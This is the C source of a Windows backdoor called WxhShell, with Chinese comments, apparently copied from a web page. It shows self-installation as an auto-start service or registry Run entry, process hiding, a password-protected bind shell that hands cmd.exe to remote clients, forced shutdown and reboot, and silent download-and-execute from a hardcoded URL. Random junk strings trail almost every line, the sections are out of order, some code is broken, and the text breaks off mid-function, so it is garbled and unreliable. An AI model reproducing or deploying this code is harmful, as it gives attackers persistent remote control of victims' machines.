    closesocket(wsh); `Yu4h+T  
    ExitThread(0); 8bEii1EM  
    } { r8H5X  
    break; ]:]w+N%7  
    } M*jn8OE  
  // 关机 ud,_^Ul  
  case 'd': { 0R?LWm j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); klC48l  
    if(Boot(SHUTDOWN)) +Xr87x;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nR$Q~`  
    else { 5./(n7d_  
    closesocket(wsh); Nj4^G ~_  
    ExitThread(0); PHn3f;I  
    } G`R2=bb8  
    break; AqP7UL  
    } XbAoW\D(  
  // 获取shell _"";SqVB  
  case 's': { IY9##&c3>  
    CmdShell(wsh); Jp`qE  
    closesocket(wsh); ulnlRx  
    ExitThread(0); P EAo'63$  
    break; T .L>PL ?=  
  } yB^_dE  
  // 退出 c3aF lxW  
  case 'x': { `zRm "G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); > 1&_-  
    CloseIt(wsh); 6m{1im=  
    break; =arrp:  
    } olf7L%  
  // 离开 !"x&tF  
  case 'q': { 7j L.\O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Uu3<S  
    closesocket(wsh); DWRq \`P  
    WSACleanup(); HOAgRhzE  
    exit(1); y]ZujfW7  
    break; .EoLJHL }  
        } &ffd#2f`@  
  } q--;5"=S  
  } >NN&j#;x~  
r$Ck:Q}  
  // 提示信息 < ekLL{/O'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p8MPn>h<  
} R~DZY{u+/$  
  } 7vs>PV  
R k).D 6  
  return; 9AdA|/WV  
} L2 tSKw~  
PG/xX H  
// shell模块句柄 d$`NApr  
int CmdShell(SOCKET sock) ueazAsk3g  
{ ]p2M!N,?  
STARTUPINFO si; ,] ,dOIOwn  
ZeroMemory(&si,sizeof(si)); 9W <I~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >w"k:O17  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CwVORf,uA  
PROCESS_INFORMATION ProcessInfo; 42: 6=\  
char cmdline[]="cmd"; PKM8MYvo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9Iod[ x  
  return 0; ]1 OZY@  
} r|tTDKGQ  
XZFM|=%X  
// 自身启动模式 @eGJ_ J  
int StartFromService(void) 2U;ImC1g  
{ tk <R|i  
typedef struct eO:wx.PW  
{ IZkQmA=  
  DWORD ExitStatus; ^/kn#1H7&  
  DWORD PebBaseAddress; qj5V<c;h%W  
  DWORD AffinityMask; \L: ;~L/  
  DWORD BasePriority; -q.tU*xf'  
  ULONG UniqueProcessId; )!&7XL[  
  ULONG InheritedFromUniqueProcessId; m:7$"oq|  
}   PROCESS_BASIC_INFORMATION; g"iLhm` L  
g0D(:_QXp:  
PROCNTQSIP NtQueryInformationProcess; ,!s;o6|*y  
\We\*7^E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CcHf1 _CI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sSMcF[]@2I  
}QL 2#R  
  HANDLE             hProcess; 8&"@6/)[  
  PROCESS_BASIC_INFORMATION pbi; WU -_Y^  
_JjR= m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O:Fnxp5@  
  if(NULL == hInst ) return 0; _8CE|<Cn  
m*MfGj(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #X(KW&;m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .;0?r9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IE-c^'W=}m  
I(*4N^9++  
  if (!NtQueryInformationProcess) return 0; AVys`{*c  
$i+ 1a0%n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ni@N/Z?!pA  
  if(!hProcess) return 0; }0P5~]S<5A  
i<*{Z~B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Qf|=xV,F  
/{';\?w  
  CloseHandle(hProcess); 2,Og(_0>  
f@%H"8w!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L/,W  
if(hProcess==NULL) return 0; C]tHk)<|42  
p<2A4="&  
HMODULE hMod; 0P<bS?e<l  
char procName[255]; Lii,L}  
unsigned long cbNeeded; \lnpsf  
Ls#= R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]iyJ>fC  
ESl-k2  
  CloseHandle(hProcess); G02(dj  
|[ tlR`A$  
if(strstr(procName,"services")) return 1; // 以服务启动 (C RY$+d  
vPn(~d_  
  return 0; // 注册表启动 *.UM[Wo  
} ,&;#$ b5  
?]'Rz\70  
// 主模块 v:MJF*/  
int StartWxhshell(LPSTR lpCmdLine) 3:f<cy   
{ ztNm,1pnQ  
  SOCKET wsl; `43`*=  
BOOL val=TRUE; 8Q&hhmOnz  
  int port=0; wr/Z)e =^3  
  struct sockaddr_in door; G H N  
meHAa`  
  if(wscfg.ws_autoins) Install(); ]E1aIt  
Qo !/]\  
port=atoi(lpCmdLine); CF`tNA3fxm  
ik@g;>pQD  
if(port<=0) port=wscfg.ws_port; MVW2 %6  
7T]}<aK<c[  
  WSADATA data; dsKEWZ =  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3McBTa!  
\>8"r,hG|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .D^=vuxt~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7(m4,l+(  
  door.sin_family = AF_INET; Vj7(6'Hg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); f-N:  
  door.sin_port = htons(port); 2t3'"8xJ  
em  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &wbe^Wp  
closesocket(wsl); AR i_m  
return 1; fA!uSqR$V  
} jlV~-}QKb7  
h2 2-v X  
  if(listen(wsl,2) == INVALID_SOCKET) { 0f).F  
closesocket(wsl); $= '_$wG 8  
return 1; KJ]:0'T  
} \Gh]$s p  
  Wxhshell(wsl); N@$g"w  
  WSACleanup(); +1j@n.)ft  
[-)N}rL>  
return 0; (Yz EsY  
_cqB p7  
} 1us-ootsjP  
yIBT*,4  
// 以NT服务方式启动 n&Q{ [E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *Z! #6(G  
{ 'k=GSb  
DWORD   status = 0; bq/*99``  
  DWORD   specificError = 0xfffffff; =@U~ sl [  
b{|Ha3;w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x | =  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; NPws^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -hav/7g  
  serviceStatus.dwWin32ExitCode     = 0; Y_3 {\g|x  
  serviceStatus.dwServiceSpecificExitCode = 0; <KF|QE  
  serviceStatus.dwCheckPoint       = 0; (|_1ku3!  
  serviceStatus.dwWaitHint       = 0; #?)g?u%g=  
SomA`y+ERn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F V8K_xj  
  if (hServiceStatusHandle==0) return; M),i4a?2  
\IL/?J 5d  
status = GetLastError(); a"^0;a  
  if (status!=NO_ERROR) */iD68r|-  
{ ^EGe%Fq*x]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P9~7GFas|  
    serviceStatus.dwCheckPoint       = 0; =W(mZ#*vdY  
    serviceStatus.dwWaitHint       = 0; ^2L\Y2  
    serviceStatus.dwWin32ExitCode     = status; $;1#gq%  
    serviceStatus.dwServiceSpecificExitCode = specificError; [:-Ltfr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pp$WM\r  
    return; {VBx;A3*I  
  } 3okh'P%+  
#9Z\jW6b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gF( aYuk  
  serviceStatus.dwCheckPoint       = 0; MA\"JAP/  
  serviceStatus.dwWaitHint       = 0; `9a %vN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5[.Dlpa'7  
} T8& kxp  
$Hcp.J[O  
// 处理NT服务事件,比如:启动、停止 fZK&h.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ezRhSN?  
{  -1Acprr  
switch(fdwControl) 3n;UXYJ%  
{ hj@< wU  
case SERVICE_CONTROL_STOP: .i[rd4MCK  
  serviceStatus.dwWin32ExitCode = 0; Ek|#P{!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >p4#AfGF  
  serviceStatus.dwCheckPoint   = 0; hu (h'  
  serviceStatus.dwWaitHint     = 0; bD_|n!3  
  { Tw BwqQ)t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b/IT8Cm3  
  } E/mp.f2!  
  return; QR<z%4  
case SERVICE_CONTROL_PAUSE: |QwX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \M~M  
  break; Wk$ 7<gkr  
case SERVICE_CONTROL_CONTINUE: 0|<ER3xkx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vzl+0"  
  break; tu}AJ  
case SERVICE_CONTROL_INTERROGATE: uMl.}t2uYu  
  break; *I)o Dq3  
}; =e'b*KTL,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n82N@z<8]  
} /QDlm>FM4  
vL"U=Q+/eY  
// 标准应用程序主函数 }oH A@o5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '@)47]~  
{ <11pk  
UxI0Of&:  
// 获取操作系统版本 [MfKBlA  
OsIsNt=GetOsVer(); ,7:_M> -3g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O,(p><k$/  
hA1\+r  
  // 从命令行安装 {2<A\nW  
  if(strpbrk(lpCmdLine,"iI")) Install(); OQ&?^S`8',  
fC>3{@h}*  
  // 下载执行文件 f`w$KVZ1!w  
if(wscfg.ws_downexe) { 1"J\iwN3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aa:Oh^AJy  
  WinExec(wscfg.ws_filenam,SW_HIDE); `2X~3im  
} e;KZTH;  
Mf)0Y~_:R#  
if(!OsIsNt) { 5MsE oLg  
// 如果时win9x,隐藏进程并且设置为注册表启动 K7 >Z)21  
HideProc(); |:_WdU"Q]  
StartWxhshell(lpCmdLine); 16"eyt>  
} ]Igd<  
else *sI`+4h[  
  if(StartFromService()) :7&#ej6  
  // 以服务方式启动 "YbvI@pD  
  StartServiceCtrlDispatcher(DispatchTable); gJn|G#!  
else s)Bmi  
  // 普通方式启动 ^E_`M:~  
  StartWxhshell(lpCmdLine); xBH`=e <  
=ML6"jr  
return 0; ?n o.hf  
} K)5'Jp@  
4naL2 Y!  
({=: N  
B WdR~|2  
=========================================== z(]14250  
X2b<_j3  
'51DdT U  
hhjT{>je  
Dohq@+] O  
X;JptF^  
" '@1oM1  
H\]ZtSw8-  
#include <stdio.h> siveqz6h  
#include <string.h> 4qq+7B  
#include <windows.h> $]:yc n9l  
#include <winsock2.h> 2 O\p`,.  
#include <winsvc.h> jt|e?1:vF  
#include <urlmon.h> $_s"16s  
l \~w(8g<A  
#pragma comment (lib, "Ws2_32.lib") k(|D0%#b7  
#pragma comment (lib, "urlmon.lib") C.I.f9s?R  
JjarMJr| D  
#define MAX_USER   100 // 最大客户端连接数 nb}*IExd  
#define BUF_SOCK   200 // sock buffer +*"u(7AV  
#define KEY_BUFF   255 // 输入 buffer llVm[7  
E!.>*`)?.  
#define REBOOT     0   // 重启 3vx*gfr3  
#define SHUTDOWN   1   // 关机 ^CZ!rOSv  
{qO[93yg)/  
#define DEF_PORT   5000 // 监听端口 Zcq'u jU  
JR/:XYS+  
#define REG_LEN     16   // 注册表键长度 b4`t, D  
#define SVC_LEN     80   // NT服务名长度 Ara D_D  
le%&r  
// 从dll定义API r7w1~z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n}?XFx!%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~"eos~AuW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZMO7 o 1"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  qW8sJ=  
A:$Qt%c  
// wxhshell配置信息 5Ug.J{d  
struct WSCFG { 5~&9/ ALk5  
  int ws_port;         // 监听端口 61e)SIRz9I  
  char ws_passstr[REG_LEN]; // 口令  JvFd2@  
  int ws_autoins;       // 安装标记, 1=yes 0=no >`Xikn(  
  char ws_regname[REG_LEN]; // 注册表键名 J})G l  
  char ws_svcname[REG_LEN]; // 服务名 -a:+ h\K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3!_XFV  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LE^kN<qMK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KF^5 C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ut8v&i1?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;&B;RUUnTO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3F fS2we  
V 8`o71p  
}; eZes) &4  
9 cU]@j}2  
// default Wxhshell configuration J^tLKTB  
struct WSCFG wscfg={DEF_PORT, )}QtK+Rq  
    "xuhuanlingzhe", x6Q,$B  
    1, r;}%} /IX  
    "Wxhshell", YlfzHeN1  
    "Wxhshell", @=CN#D12  
            "WxhShell Service", = GUgb2TAT  
    "Wrsky Windows CmdShell Service",  + ]I7]  
    "Please Input Your Password: ", ;&mefaFlWp  
  1, _*\:UBZx6  
  "http://www.wrsky.com/wxhshell.exe", d{^9` J'  
  "Wxhshell.exe" UIS\t^pJD  
    }; ) #G5XS+)  
' S%?&4  
// 消息定义模块 %M"rc4Xd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V$U#'G>m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; om6'%nXhn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A")F7F31c  
char *msg_ws_ext="\n\rExit."; QWL$F:9:  
char *msg_ws_end="\n\rQuit."; jK`b6:#(,  
char *msg_ws_boot="\n\rReboot..."; Z$qLY<aV  
char *msg_ws_poff="\n\rShutdown..."; xUT]6T0dB  
char *msg_ws_down="\n\rSave to "; o+{]&V->gN  
a<%Ivqni  
char *msg_ws_err="\n\rErr!"; X@l>mAk  
char *msg_ws_ok="\n\rOK!"; 9H^$cM9C  
a2J01B  
char ExeFile[MAX_PATH]; 3>60_:+Zb  
int nUser = 0; D#VUx9kugv  
HANDLE handles[MAX_USER]; NP }b   
int OsIsNt; $tKz|H)  
;+:C  
SERVICE_STATUS       serviceStatus; 8YroEX[5l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @smjXeF o  
WdQR^'b$   
// 函数声明 A HnXN%m  
int Install(void); }N @8zB~X  
int Uninstall(void); AlZ]UGf^  
int DownloadFile(char *sURL, SOCKET wsh); %UGXgYDz  
int Boot(int flag); `h%(ZG ~  
void HideProc(void); ?T.'  q  
int GetOsVer(void); %x(||cq  
int Wxhshell(SOCKET wsl); Tj0qq.  
void TalkWithClient(void *cs); ~kHWh8\b:  
int CmdShell(SOCKET sock); 0?@;zTE0  
int StartFromService(void); bH 6i1c8  
int StartWxhshell(LPSTR lpCmdLine); 4KSZ;fV6/  
&lnr?y^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ck0K^o v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); FU]jI[  
rQE:rVKVh  
// 数据结构和表定义 B=vBJC)  
SERVICE_TABLE_ENTRY DispatchTable[] = V)|]w[(Y  
{ HLYog+?  
{wscfg.ws_svcname, NTServiceMain},  ,2yIKPWk  
{NULL, NULL} ](%EQ[  
}; o03Y w)*  
P*=M?:Jb,  
// 自我安装 {,:yZ&(  
int Install(void) B!J~ t8  
{ zDakl*  
  char svExeFile[MAX_PATH]; 4i]h0_]  
  HKEY key; $, I%g<  
  strcpy(svExeFile,ExeFile); 4%refqWK  
@Z}TF/Rx4  
// 如果是win9x系统,修改注册表设为自启动 ,)u1r3@I^  
if(!OsIsNt) { ^T>P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %s&"gWi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0j\} @  
  RegCloseKey(key); }\#u~k!l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qcVmt1"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;RR\ Hwix  
  RegCloseKey(key); $p(  
  return 0; K9\r2w'T'  
    } ;W~H|M  
  } luvxwved  
} $kAal26z  
else { 3Gk\3iU!  
Z'!Ii+'6  
// 如果是NT以上系统,安装为系统服务 pB(|Y]3A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J?R\qEq%  
if (schSCManager!=0) |3]#SqX  
{ oy[>`qyz  
  SC_HANDLE schService = CreateService 7)-uYi] dA  
  ( wZe>}1t  
  schSCManager, K;L6<a A#  
  wscfg.ws_svcname, !c2<-3e  
  wscfg.ws_svcdisp, x->H~/  
  SERVICE_ALL_ACCESS, $^K12Wcp-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lVptA3F  
  SERVICE_AUTO_START, xR~9|H9a  
  SERVICE_ERROR_NORMAL, _keI0ML-#  
  svExeFile, 8x~'fzf;Sq  
  NULL, 9*Z!=Y#4,  
  NULL, f%[0}.wp  
  NULL, U;w| =vM  
  NULL, Q8h0:Q  
  NULL q1Sr#h|  
  ); dy"7Wl]hi7  
  if (schService!=0) .ri?p:a}w  
  { o;[cApiQ,2  
  CloseServiceHandle(schService); qu`F,OG  
  CloseServiceHandle(schSCManager); e'dx Y(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]H-5    
  strcat(svExeFile,wscfg.ws_svcname); (F+]h]KSi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zE8qU;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s=8$h:^9>  
  RegCloseKey(key); [wkSY>Gu  
  return 0; 5>\Lk>rI  
    } APUpqY  
  } f^]^IXzXw.  
  CloseServiceHandle(schSCManager); hd>_K*oH  
} /A82~  
} WF_24Mw  
P;bOtT --  
return 1; wl N l|+ K  
} b O9PpOk+z  
KN< KZM  
// 自我卸载 tq.g4X ;_  
int Uninstall(void) ]|8*l]oc  
{ Bk;/>gD  
  HKEY key; H tx)MEZ  
19]O;  
if(!OsIsNt) { ` st^i$A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %) /Bl.{}<  
  RegDeleteValue(key,wscfg.ws_regname); 70F(`;  
  RegCloseKey(key); W<\*5oB%H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X,`^z,M%I  
  RegDeleteValue(key,wscfg.ws_regname); mV;)V8'  
  RegCloseKey(key); GhC%32F  
  return 0; LZ4Z]!V  
  } _]Y9Eoz  
} vSv:!5*  
} j"Z9}F@  
else { '>Uip+'  
Hdda/?{b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zlhU[J}"1|  
if (schSCManager!=0)  K)P].htw  
{ F7&Oc)f"B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W61nJ7@  
  if (schService!=0) zwgO|Qg;  
  { - (VX+XHW  
  if(DeleteService(schService)!=0) { z)fg>?AGr  
  CloseServiceHandle(schService); [&5%$ T  
  CloseServiceHandle(schSCManager); {(5M)|>  
  return 0; OV`#/QL  
  } a=r^?q'/  
  CloseServiceHandle(schService); }&Ul(HR  
  } mNQ*YCq.  
  CloseServiceHandle(schSCManager); 5;[h&jH  
} "ZR^w5  
} P"s7}cl  
.B_a3K4'{^  
return 1; YPmgR]=6  
} (i@B+c  
?UBhM,;XK  
// 从指定url下载文件 &d6  
int DownloadFile(char *sURL, SOCKET wsh) V_P,~!  
{ /_ RrNzqy  
  HRESULT hr; t }>"nr0  
char seps[]= "/";  t@+z r3  
char *token; AkX8v66:  
char *file; NGAjajB  
char myURL[MAX_PATH]; osPrr QoH  
char myFILE[MAX_PATH]; :rnj>U6<>  
5^ e|802  
strcpy(myURL,sURL); v]U0@#/p  
  token=strtok(myURL,seps); /rzZU}3[  
  while(token!=NULL) q/dja  
  { m<GJ1)%3i  
    file=token; ~IS3i'bh  
  token=strtok(NULL,seps); ;hkzL_' E)  
  } KBa   
X0BBJ(e  
GetCurrentDirectory(MAX_PATH,myFILE); Vbp`Rm1?  
strcat(myFILE, "\\"); [' cq  
strcat(myFILE, file); (k<__W c_t  
  send(wsh,myFILE,strlen(myFILE),0); o]WG8Mo-  
send(wsh,"...",3,0); X@^"@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N6uKFQL:{  
  if(hr==S_OK) 4L/8Hj#g  
return 0; Z:Nm9m  
else k(R&`  
return 1; 3sz?49tX  
 &DX  
}  $&to(  
}x+s5a;!3/  
// 系统电源模块 x>MY_?a  
int Boot(int flag) ]7 2wv#-  
{ hC2_Yr>N%  
  HANDLE hToken; RrRE$g  
  TOKEN_PRIVILEGES tkp; )"H r3  
}NF7"tOL  
  if(OsIsNt) { UO8./%'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [ |dQZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .Eg[[K_iD  
    tkp.PrivilegeCount = 1; "V:E BR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O_[]+5.TX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ['\ u?m  
if(flag==REBOOT) { PP!} w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r  |JZU  
  return 0; ZfSAXr "(  
} Q+=D#x  
else { -:  8[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .>+jtp}  
  return 0; f}? q  
} A"no!AN  
  } JTfG^Nv>K  
  else { U Y')|2y 5  
if(flag==REBOOT) { 6dQ]=];  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .+2@(r  
  return 0; cP &XkAQ  
} YfUUbV  
else { :Wmio\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [B"CNnA  
  return 0; Q\{$&0McF  
} a!*K)x,"<  
} i~;Yrc%AEX  
~4C:2  
return 1; bT#re  
} X8| 0RU@f  
D?@e,e  
// win9x进程隐藏模块 @g==U{k;t  
void HideProc(void) 7 J+cs^2  
{ 2` j#eB1  
,]8$QFf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q(7M_2e7  
  if ( hKernel != NULL ) )ZQML0}P;  
  { D$/*Z5Z)]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D_-<V,3t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AZ& ]@Ao  
    FreeLibrary(hKernel); 5Q.z#]L g  
  } ,`;Dre  
HzD=F3\r|  
return; EE[JXoke  
} )1 =|\  
# vBS7ba  
// 获取操作系统版本 UJ1Ecob  
int GetOsVer(void) {Wh7>*p{3  
{ 7(1UXtT  
  OSVERSIONINFO winfo; Th\t6K~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b.sRB1  
  GetVersionEx(&winfo); eK'ztqQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  p@bcf5'  
  return 1; i0e aBG]I  
  else 0F|DD8tHR  
  return 0; q'4qSu  
} &a];"2  
u@eKh3!  
// 客户端句柄模块 l1wYN,rv  
int Wxhshell(SOCKET wsl) :c^9\8S  
{ #E#.`/4  
  SOCKET wsh; GPVqt"TY  
  struct sockaddr_in client; ye-R  
  DWORD myID; _Vf0MU;3f+  
bRb+3au_x  
  while(nUser<MAX_USER) ~f:jI1(}  
{ .*+KQ A8  
  int nSize=sizeof(client); =x3ZQA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E#A}J:  
  if(wsh==INVALID_SOCKET) return 1; #(Ah>y  
|"XxM(Dm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E2a00i/9Y  
if(handles[nUser]==0) 1X$hwkof  
  closesocket(wsh); _;yi/)-2  
else "f-z3kL  
  nUser++; 2h^9lrQcQG  
  } H&3i[D!p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {9yW8&m  
b+qdl`V d  
  return 0; A-XWG9nL  
} t:<dirw,o  
f*Dy>sw  
// 关闭 socket 8!q$8]M  
void CloseIt(SOCKET wsh) .<|.nK`6  
{ 9Di@r!Db  
closesocket(wsh); Lavm  
nUser--; b&~s}IX   
ExitThread(0); u"*Wo'3I|  
} XexslzI  
PK7 kpC  
// 客户端请求句柄 A/+bwCDP  
void TalkWithClient(void *cs) _]~= Kjp  
{ jQLiqi`  
%.+#e  
  SOCKET wsh=(SOCKET)cs; "Ooc;xD3<  
  char pwd[SVC_LEN]; (aa}0r5  
  char cmd[KEY_BUFF]; AyUiX2=w1  
char chr[1]; g0 NSy3t  
int i,j; !1s^TB>N  
_Bhm\|t  
  while (nUser < MAX_USER) { qe\JO'g#e  
m:A1wL4c6  
if(wscfg.ws_passstr) { GI40Ztms  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y8QJ=v* B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K)d]3V!  
  //ZeroMemory(pwd,KEY_BUFF); <R>%DD=v^  
      i=0; uh_ 2yw_  
  while(i<SVC_LEN) { X_nxC6[m%  
Y']D_\y  
  // 设置超时 = rLL5<  
  fd_set FdRead; 6rD Oa~<B  
  struct timeval TimeOut; WMw]W&  
  FD_ZERO(&FdRead); 4`Z8EV  
  FD_SET(wsh,&FdRead); |-SImxV  
  TimeOut.tv_sec=8; -Bl !s^-'  
  TimeOut.tv_usec=0; L[s8`0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KnjowK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $<N!2[I L  
_jr'A-M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^Td_B03)  
  pwd=chr[0]; <#r/4a"V  
  if(chr[0]==0xd || chr[0]==0xa) { [V-OYjPAx  
  pwd=0; {zf)im[.  
  break; t/4&=]n\u  
  } ")cJA f  
  i++;  #mDeA>b  
    } c ii]-%J}c  
M XX:i  
  // 如果是非法用户,关闭 socket klKd !  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u{_jweZ  
} 9gLUM$Kd  
h *JzJ0X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); />,Tq!i\4}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `0qBuE_^h  
\ &S-lsLY  
while(1) { UFLN/  
;F:~HrxT}  
  ZeroMemory(cmd,KEY_BUFF); =gjq@N]lAW  
M_Qv{   
      // 自动支持客户端 telnet标准   ,GH;jw)P  
  j=0; xc HG5bg |  
  while(j<KEY_BUFF) { ojA i2uz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pDg_^|  
  cmd[j]=chr[0]; 8'Y7lOXS  
  if(chr[0]==0xa || chr[0]==0xd) { 8 FqhSzw  
  cmd[j]=0; 1sT%g}w@|  
  break; foOwJ}JU  
  } x/pM.NZF1  
  j++; }bg_?o;X}  
    } #cRw0bn:  
7oK7f=*Q  
  // 下载文件 :+m8~n$/  
  if(strstr(cmd,"http://")) { B?G!~lQ)o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \z4I'"MC.9  
  if(DownloadFile(cmd,wsh)) @@O=a  
